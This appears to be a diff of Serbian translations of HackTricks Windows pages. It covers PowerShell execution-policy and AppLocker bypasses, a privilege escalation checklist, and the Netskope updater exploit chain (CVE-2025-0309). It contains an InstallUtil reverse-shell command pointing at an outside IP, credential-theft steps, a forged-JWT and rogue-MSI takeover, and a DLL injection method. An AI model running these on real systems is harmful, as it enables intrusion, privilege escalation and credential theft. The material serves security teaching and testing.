C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
|
||||
```
|
||||
Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da izvršite Powershell kod u bilo kojem procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **execute Powershell** code u bilo kojem procesu i zaobiđete constrained mode. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||
|
||||
## PS politika izvršavanja
|
||||
## PS Execution Policy
|
||||
|
||||
Podrazumevano je podešeno na **restricted.** Glavni načini za zaobilaženje ove politike:
|
||||
Podrazumevano je postavljeno na **restricted.** Glavni načini za zaobilaženje ove politike:
|
||||
```bash
|
||||
1º Just copy and paste inside the interactive PS console
|
||||
2º Read en Exec
|
||||
@ -254,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
||||
9º Use EncodeCommand
|
||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||
```
|
||||
Više informacija se može naći [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
Više informacija možete pronaći [ovde](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Security Support Provider Interface (SSPI)
|
||||
## Interfejs Security Support Provider (SSPI)
|
||||
|
||||
To je API koji se može koristiti za autentifikaciju korisnika.
|
||||
Je API koji se može koristiti za autentifikaciju korisnika.
|
||||
|
||||
SSPI će biti zadužen za pronalaženje odgovarajućeg protokola za dve mašine koje žele da komuniciraju. Preferirani metod za to je Kerberos. Zatim će SSPI pregovarati koji autentifikacioni protokol će biti korišćen; ti autentifikacioni protokoli se zovu Security Support Provider (SSP), nalaze se na svakoj Windows mašini u obliku DLL-a i obe mašine moraju podržavati isti da bi mogle da komuniciraju.
|
||||
SSPI će biti zadužen za pronalaženje odgovarajućeg protokola za dve mašine koje žele da komuniciraju. Preferirani metod za ovo je Kerberos. Zatim će SSPI pregovarati koji će se authentication protocol koristiti — ti authentication protocolli se zovu Security Support Provider (SSP), nalaze se na svakoj Windows mašini u obliku DLL-a i obe mašine moraju podržavati isti da bi mogle da komuniciraju.
|
||||
|
||||
### Glavni SSP-ovi
|
||||
|
||||
- **Kerberos**: Preferirani
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** and **NTLMv2**: Razlozi kompatibilnosti
|
||||
- **NTLMv1** and **NTLMv2**: Iz razloga kompatibilnosti
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: web serveri i LDAP, lozinka u obliku MD5 heša
|
||||
- **Digest**: Web servers and LDAP, lozinka u obliku MD5 heša
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL i TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate**: Koristi se za pregovaranje o protokolu koji će se koristiti (Kerberos ili NTLM, pri čemu je Kerberos podrazumevani)
|
||||
- **Negotiate**: Koristi se za pregovaranje koji protokol će se koristiti (Kerberos ili NTLM, pri čemu je Kerberos podrazumevani)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### Pregovori mogu ponuditi više metoda ili samo jednu.
|
||||
#### Pregovaranje može ponuditi više metoda ili samo jednu.
|
||||
|
||||
## UAC - User Account Control
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) je funkcija koja omogućava **upit za saglasnost pri aktivnostima sa povišenim privilegijama**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) je funkcija koja omogućava **upit za saglasnost za aktivnosti sa povišenim privilegijama**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Najbolji alat za traženje Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Najbolji alat za pronalaženje Windows local privilege escalation vektora:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||
### [Informacije o sistemu](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Pribavite [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Pretražite **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Koristite **Google to search** for kernel **exploits**
|
||||
- [ ] Koristite **searchsploit to search** for kernel **exploits**
|
||||
- [ ] Zanimljive informacije u [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Nabavite [**informacije o sistemu**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Pretražite za **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Koristite **Google** za pretragu kernel **exploits**
|
||||
- [ ] Koristite **searchsploit** za pretragu kernel **exploits**
|
||||
- [ ] Ima li zanimljivih informacija u [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Lozinke u [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Zanimljive informacije u [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
@ -18,11 +18,11 @@
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
### [Evidentiranje/AV enumeracija](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Proverite [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)i [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings
|
||||
- [ ] Proverite [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) i [**WEF** ](windows-local-privilege-escalation/index.html#wef) podešavanja
|
||||
- [ ] Proverite [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Proverite da li je [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)aktiviran
|
||||
- [ ] Proverite da li je [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktivan
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
@ -30,86 +30,86 @@
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Proverite [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Proverite [**trenutne** privilegije korisnika](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Da li ste [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Proverite da li imate [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] Proverite da li imate [bilo koji od ovih tokena omogućen](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Proverite[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (pristup?)
|
||||
- [ ] Proverite [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (pristup?)
|
||||
- [ ] Proverite [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Šta je[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] Šta je [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
### [Mreža](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Proverite **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Proverite skrivene lokalne servise ograničene na spolja
|
||||
- [ ] Proverite **trenutne** [**network** **information**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Proverite **skrivene lokalne servise** ograničene na spolja
|
||||
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
### [Pokrenuti procesi](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Binarni fajlovi procesa [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] Dozvole za fajlove i foldere [**Processes binaries file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Ukradite kredencijale sa **interesting processes** pomoću `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
- [ ] Ukradite kredencijale iz **interesantnih procesa** pomoću `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] Možete li **modify any service**? (windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] Možete li **modify** the **binary** that is **executed** by any **service**? (windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] Možete li **modify** the **registry** of any **service**? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] Možete li iskoristiti bilo koji **unquoted service** binary **path**? (windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] [Možete li **izmeniti bilo koji servis**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Možete li **izmeniti** **binary** koji se **izvršava** za neki **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Možete li **izmeniti** **registry** bilo kog **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Možete li iskoristiti neki **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
|
||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
### [**Aplikacije**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
- [ ] **Ranjivi** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] Možete li **write in any folder inside PATH**?
|
||||
- [ ] Postoji li neki poznat service binary koji pokušava da učita neki nepostojeći DLL?
|
||||
- [ ] Možete li **write** u bilo koji **binaries folder**?
|
||||
- [ ] Možete li **pisati u bilo koji folder unutar PATH**?
|
||||
- [ ] Postoji li neka poznata servisna binarka koja **pokušava da učita neku nepostojeću DLL**?
|
||||
- [ ] Možete li **pisati** u bilo koji **folder sa binarnim fajlovima**?
|
||||
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
### [Mreža](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Enumerišite mrežu (shares, interfaces, routes, neighbours, ...)
|
||||
- [ ] Obratite posebnu pažnju na network servise koji slušaju na localhost (127.0.0.1)
|
||||
- [ ] Obratite posebnu pažnju na mrežne servise koji slušaju samo na localhost (127.0.0.1)
|
||||
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials koje biste mogli iskoristiti?
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) kredencijali
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kredencijali koje možete iskoristiti?
|
||||
- [ ] Zanimljivi [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Lozinke sačuvanih [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Lozinke sa sačuvanih [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Zanimljive informacije u [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Lozinke u [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) lozinke?
|
||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
|
||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Kredencijali?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
### [Fajlovi i Registry (Kredencijali)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Lozinke u [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Bilo koji [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup?
|
||||
- [ ] Postoji li neka [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup?
|
||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) fajl?
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Lozinka u [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Zanimljive informacije u [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Da li želite da [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) od korisnika?
|
||||
- [ ] Zanimljivi [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Ostali [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Želite li da [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) od korisnika?
|
||||
- [ ] Zanimljivi [**fajlovi u Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Ostali [**registry koji sadrže kredencijale**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Unutar [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) u fajlovima i registry-ju
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) za automatsko traženje lozinki
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) u fajlovima i registry
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) za automatsko pretraživanje lozinki
|
||||
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] Imate li pristup bilo kojem handleru procesa koji je pokrenut od strane administratora?
|
||||
- [ ] Imate li pristup nekom handleru procesa koji se izvršava pod administratorom?
|
||||
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Proverite da li možete da to iskoristite
|
||||
- [ ] Proverite da li možete da ga zloupotrebite
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,28 +1,28 @@
|
||||
# Zloupotreba Enterprise Auto-Updaters i privilegisanog IPC-a (npr. Netskope stAgentSvc)
|
||||
# Zloupotreba enterprise auto-updater-a i privilegisanog IPC-a (e.g., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ova stranica generalizuje klasu Windows lokalnih lanaca za eskalaciju privilegija pronađenih u enterprise endpoint agentima i updaterima koji izlažu low‑friction IPC površinu i privilegovani tok ažuriranja. Reprezentativan primer je Netskope Client for Windows < R129 (CVE-2025-0309), gde korisnik sa niskim privilegijama može naterati enrollment na server pod kontrolom napadača i zatim isporučiti zlonamerni MSI koji servis pokrenut kao SYSTEM instalira.
|
||||
Ova stranica generalizuje klasu Windows local privilege escalation lanaca pronađenih u enterprise endpoint agentima i updatereima koji izlažu low‑friction IPC surface i privilegovan update flow. Reprezentativan primer je Netskope Client for Windows < R129 (CVE-2025-0309), gde korisnik sa niskim privilegijama može prisiliti enrollment na server koji kontroliše napadač i zatim isporučiti maliciozni MSI koji SYSTEM service instalira.
|
||||
|
||||
Ključne ideje koje možete ponovo iskoristiti protiv sličnih proizvoda:
|
||||
- Zloupotrebite localhost IPC privilegisanog servisa da prisilite ponovni enrollment ili rekonfiguraciju na server napadača.
|
||||
- Implementirajte vendorove update endpoint-e, dostavite lažni Trusted Root CA, i usmerite updater na zlonamerni „signed“ paket.
|
||||
- Izbegnite slabe provere potpisivača (CN allow‑lists), opciona digest zastavice, i popustljiva MSI svojstva.
|
||||
- Ako je IPC „encrypted“, izvedite key/IV iz world‑readable identifikatora mašine smeštenih u registry.
|
||||
- Ako servis ograničava pozivaoce po image path/process name, injektujte u proces sa liste dozvoljenih ili spawn-ujte jedan u suspended stanju i bootstrap-ujte svoj DLL putem minimalnog patch-a thread‑contexta.
|
||||
Ključne ideje koje možete ponovo koristiti protiv sličnih proizvoda:
|
||||
- Zloupotrebite localhost IPC privilegisanog servisa da biste prisilili re‑enrollment ili rekonfiguraciju na napadačev server.
|
||||
- Implementirajte vendorove update endpoint-e, isporučite rogue Trusted Root CA i usmerite updater na maliciozni, “signed” paket.
|
||||
- Izbegavajte slabe provere signera (CN allow‑lists), opcione digest flagove i labave MSI osobine.
|
||||
- Ako je IPC “encrypted”, izvedite key/IV iz world‑readable identifikatora mašine sačuvanih u registry-ju.
|
||||
- Ako servis ograničava pozivaoce po image path/process name, inject-ujte u allow‑listed proces ili pokrenite jedan suspended i bootstrap-ujte svoj DLL putem minimalnog thread‑context patch-a.
|
||||
|
||||
---
|
||||
## 1) Prisiljavanje enrollmenta na server napadača preko localhost IPC-a
|
||||
## 1) Prisila za enrollment na napadačev server preko localhost IPC-a
|
||||
|
||||
Mnogi agenti dolaze sa user‑mode UI procesom koji komunicira sa SYSTEM servisom preko localhost TCP koristeći JSON.
|
||||
Mnogi agenti isporučuju user‑mode UI proces koji komunicira sa SYSTEM servisom preko localhost TCP koristeći JSON.
|
||||
|
||||
Primećeno u Netskope:
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Tok eksploatacije:
|
||||
Tok exploita:
|
||||
1) Sastavite JWT enrollment token čiji claims kontrolišu backend host (npr. AddonUrl). Koristite alg=None tako da nije potreban potpis.
|
||||
2) Pošaljite IPC poruku koja poziva provisioning command sa vašim JWT i tenant name:
|
||||
2) Pošaljite IPC poruku koja poziva provisioning komandu sa vašim JWT-om i tenant imenom:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
@ -31,88 +31,88 @@ Tok eksploatacije:
|
||||
}
|
||||
}
|
||||
```
|
||||
3) Servis počinje da upućuje zahteve vašem zlonamernom serveru za enrollment/config, npr.:
|
||||
3) Servis počinje da kontaktira vaš lažni server za enrollment/config, npr.:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Notes:
|
||||
- Ako je caller verification zasnovana na path/name‑based, pošaljite zahtev iz allow‑listed vendor binary (see §4).
|
||||
Napomene:
|
||||
- Ako je verifikacija pozivaoca bazirana na putanji/ime‑u, inicirajte zahtev iz binarnog fajla dobavljača koji je na listi dozvoljenih (pogledaj §4).
|
||||
|
||||
---
|
||||
## 2) Otmica update kanala da bi se pokrenuo kod kao SYSTEM
|
||||
## 2) Hijacking the update channel to run code as SYSTEM
|
||||
|
||||
Kada klijent razgovara sa vašim serverom, implementirajte očekivane endpoints i usmerite ga na attacker MSI. Tipičan redosled:
|
||||
Kada client počne da komunicira sa vašim serverom, implementirajte očekivane endpoints i usmerite ga na attacker MSI. Tipičan redosled:
|
||||
|
||||
1) /v2/config/org/clientconfig → Vratite JSON config sa veoma kratkim updater intervalom, npr.:
|
||||
1) /v2/config/org/clientconfig → Vrati JSON config sa veoma kratkim updater intervalom, npr.:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Vraća PEM CA сертификат. Servis ga instalira u Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Dostavi metapodatke koji upućuju na maliciozni MSI i lažnu verziju.
|
||||
2) /config/ca/cert → Vraća PEM CA sertifikat. Servis ga instalira u Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Obezbeđuje metapodatke koji upućuju na maliciozni MSI i lažnu verziju.
|
||||
|
||||
Zaobilaženje uobičajenih provera viđenih u stvarnom svetu:
|
||||
- Signer CN allow‑list: servis može samo proveravati da li Subject CN odgovara “netSkope Inc” ili “Netskope, Inc.”. Vaš rogue CA može izstaviti leaf sertifikat sa tim CN i potpisati MSI.
|
||||
- CERT_DIGEST property: uključite benigni MSI property pod imenom CERT_DIGEST. Nema primene pri instalaciji.
|
||||
- Optional digest enforcement: konfig flag (npr. check_msi_digest=false) onemogućava dodatnu kriptografsku validaciju.
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: servis može da proverava samo da li Subject CN jednako “netSkope Inc” ili “Netskope, Inc.”. Vaš rogue CA može da izda leaf sertifikat sa tim CN i potpiše MSI.
|
||||
- CERT_DIGEST property: uključite benignu MSI property po imenu CERT_DIGEST. Nema sprovođenja kontrole pri instalaciji.
|
||||
- Optional digest enforcement: config flag (npr., check_msi_digest=false) onemogućava dodatnu kriptografsku validaciju.
|
||||
|
||||
Rezultat: SYSTEM servis instalira vaš MSI iz
|
||||
Result: the SYSTEM service installs your MSI from
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
i izvršava proizvoljni kod kao NT AUTHORITY\SYSTEM.
|
||||
executing arbitrary code as NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
## 3) Lažiranje šifrovanih IPC zahteva (when present)
|
||||
|
||||
Od R127, Netskope je umotao IPC JSON u polje encryptData koje liči na Base64. Reverzno inženjerstvo je pokazalo AES sa ključem/IV izvedenim iz vrednosti u registry-ju koje su čitljive bilo kom korisniku:
|
||||
Od R127, Netskope je umotao IPC JSON u polje encryptData koje izgleda kao Base64. Reversing je pokazao AES sa ključem/IV izvedenim iz vrednosti u registru čitljivih za bilo kog korisnika:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Napadači mogu reprodukovati enkripciju i poslati validne enkriptovane komande iz standardnog korisničkog konteksta. Opšti savet: ako agent iznenada „šifruje“ svoj IPC, tražite device ID-e, product GUID-ove, install ID-e pod HKLM kao materijal za derivaciju.
|
||||
Napadači mogu da reprodukuju enkripciju i pošalju validne šifrovane komande iz standardnog korisnika. General tip: ako agent iznenada “encrypts” svoj IPC, potražite device IDs, product GUIDs, install IDs pod HKLM kao materijal.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
## 4) Zaobilaženje IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Neki servisi pokušavaju da autentifikuju peer rešavanjem PID-a TCP konekcije i poređenjem image path/name sa allow‑listovanim vendor binarima smeštenim pod Program Files (npr. stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
Neki servisi pokušavaju da autentifikuju peer rešavanjem PID‑a TCP konekcije i upoređivanjem image path/name protiv allow‑listovanih vendor binarnih fajlova smeštenih pod Program Files (npr., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Dva praktična zaobilaženja:
|
||||
- DLL injection u allow‑listovani proces (npr. nsdiag.exe) i proxy-ovanje IPC iznutra.
|
||||
- Pokrenuti allow‑listovani binarni fajl u suspended stanju i bootstrap-ovati svoj proxy DLL bez CreateRemoteThread (vidi §5) da biste zadovoljili driver‑enforced tamper pravila.
|
||||
- DLL injection u allow‑listovan proces (npr., nsdiag.exe) i proxy‑ovanje IPC iznutra.
|
||||
- Pokrenite allow‑listovani binarni fajl u suspendovanom stanju i inicijalizujte vašu proxy DLL bez CreateRemoteThread (vidi §5) kako biste zadovoljili pravila o zaštiti od manipulacije koje nameće driver.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Proizvodi često isporučuju minifilter/OB callbacks driver (npr. Stadrv) koji uklanja opasna prava sa handle-ova za zaštićene procese:
|
||||
- Process: uklanja PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: ograničava na THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
Products often ship a minifilter/OB callbacks driver (npr., Stadrv) to strip dangerous rights from handles to protected processes:
|
||||
- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Pouzdan user‑mode loader koji poštuje ta ograničenja:
|
||||
1) CreateProcess vendor binar‑a sa CREATE_SUSPENDED.
|
||||
2) Nabavite handle-ove kojih ste još uvek sposobni: PROCESS_VM_WRITE | PROCESS_VM_OPERATION na procesu, i thread handle sa THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ili samo THREAD_RESUME ako patch-ujete kod na poznatom RIP).
|
||||
3) Overwrite ntdll!NtContinue (ili drugi rani, garantovano mapiran thunk) sa malim stub-om koji poziva LoadLibraryW na putanju vaše DLL, zatim se vraća.
|
||||
4) ResumeThread da pokrenete vaš stub u procesu, koji učita vašu DLL.
|
||||
Pouzdan user‑mode loader koji poštuje ova ograničenja:
